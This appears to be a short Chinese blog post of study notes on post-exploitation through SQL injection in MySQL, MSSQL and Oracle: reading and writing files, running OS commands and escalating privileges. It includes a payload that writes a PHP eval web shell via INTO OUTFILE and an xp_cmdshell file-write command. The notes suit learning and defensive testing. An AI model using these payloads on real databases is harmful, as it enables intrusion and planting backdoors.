SQL之利用操作系统

 一访问文件系统
读文件:
MySQL:可以使用load data infile和load_file()函数读取文件,其中load_file()可以直接读取结果:select load_file('c:\1.txt');
MSSQL:可以使用bulk insert复制文件到数据库表中:bulk insert table from 'c:\1.txt';和读取文件:select * from table;
Oracle:可以使用Oracle Directory, Oracle Text读取文件
写文件:
MySQL:使用select into outfile(dumpfile)写入文件,例如:select '<? php eval($_POST['Jim']);?>' into outfile 'C:/2.txt';
MSSQL:使用xp_cmdshell扩展存储过程写入文件,例如:exec xp_cmdshell 'echo table 1>c:\test.txt' 
Oracle:使用utl_file, DBMS_ADVISOR, Java实现文件写入
二.执行操作系统命令
1.MySQL不支持执行shell命令
2.Oracle
extproc、Java和DBMS_SCHEDULER是oracle运行操作系统命令的正式方法
3.MSSQL
xp_cmdshell只接收一个参数

三.提升权限(获取管理员权限):
1.SQL Server
openrowset命令:SQL Server 2000上,所有用户均可调用openrowset, 而在SQL Server 2005上,该操作默认被禁用
2.Oracle
在Oracle中,通过web应用的SQL注入来提升权限非常困难。大多数提升权限的方法均需要PL/SQL注入。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值